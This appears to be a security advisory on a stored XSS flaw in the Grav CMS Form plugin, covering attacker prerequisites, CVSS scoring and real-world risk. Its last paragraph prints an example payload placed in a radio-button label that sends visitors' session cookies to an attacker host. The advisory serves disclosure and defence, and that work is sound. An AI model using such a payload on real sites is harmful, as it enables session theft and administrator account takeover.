Grav Form Plugin EUVD-2026-58635

Exploitation requires the attacker to hold a Grav CMS account with form-authoring permissions - the ability to create or edit forms containing radio or toggle fields. This is the sole critical prerequisite; no special server-side configuration or feature flag is needed beyond the Form plugin being installed. The victim must load a page that renders the poisoned form in their browser (passive viewing, no deliberate user action such as a button click). Exploitation is blocked against users who lack form-authoring access and against deployments where no untrusted users have been granted that role. Authentication requirements are confirmed by the CVSS 4.0 vector's PR:L metric.

The CVSS 4.0 score of 5.1 (Medium) is well-calibrated for this vulnerability class. Exploitation is gated behind a form-authoring account (PR:L in the 4.0 vector), which meaningfully constrains the attacker pool to trusted-but-not-fully-trusted internal users in multi-author Grav deployments. The UI:P metric reflects that victims must passively load the form page - no deliberate click is required - which is a realistic condition given forms are often embedded in public-facing pages. Despite the moderate score, the scope change (SC/SI both Low, mapping to S:C in CVSS 3.1) is significant: injected scripts execute in other users' browsers, including administrators, enabling session cookie theft or CSRF-chained privilege escalation. No EPSS score was supplied, so exploitation probability cannot be quantified statistically. No CISA KEV listing exists, and no POC code was identified in the provided intelligence. Real-world risk is elevated in shared-access Grav instances but negligible in single-author or tightly permissioned environments.

An attacker holding a form-author account within a shared Grav instance edits a public-facing form and sets a radio button option label to a payload such as <img src=x onerror=fetch('https://attacker.com/?s='+document.cookie)>. Every subsequent visitor - including site administrators - who loads the form page triggers the payload, leaking their session cookie to the attacker. No public exploit code has been identified, but the attack pattern requires no specialised tooling given the trivial nature of stored XSS injection.